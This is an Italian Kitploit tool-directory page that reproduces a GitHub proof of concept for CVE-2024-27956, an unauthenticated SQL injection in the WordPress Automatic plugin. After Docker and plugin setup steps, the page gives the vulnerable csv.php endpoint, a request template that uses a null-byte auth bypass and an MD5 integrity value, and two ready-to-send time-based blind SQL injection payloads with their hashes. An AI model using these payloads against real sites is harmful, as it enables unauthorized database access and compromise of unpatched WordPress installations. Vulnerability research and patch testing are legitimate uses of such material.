Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/truonghuuphuc/cve-2024-27956
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubtruonghuuphuc/cve-2024-27956

CVE-2024-27956

CVE-2024-27956 WordPress Automatic < 3.92.1 - SQL Injection non autenticata

Vedi Repository
322 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-27956

Nota

Costruisci wordpress: docker-compose -f stack.yml up

Installa il plugin:

  1. Nella dashboard di WordPress, scegli Plugin > Aggiungi nuovo

  2. Fai clic su Carica plugin

image

  1. Scegli File -> wp-automatic.zip -> Installa ora

image

  1. Dopo che l'installazione è completa, fai clic su Attiva plugin

image

Exploit

<HOST>/wp-content/plugins/wp-automatic/inc/csv.php

q={{query}}&auth=%00&integ={{md5query}}

root@kitploit:~
q=SELECT+IF(1=1,sleep(5),sleep(0))&auth=%00&integ=93cf9aa11e746596d6f31765a7222c9f

image

root@kitploit:~
q=SELECT+IF(1=2,sleep(5),sleep(0))&auth=%00&integ=4b1f4024af81df56c3b00679b9b52183

image

Scarica lo strumento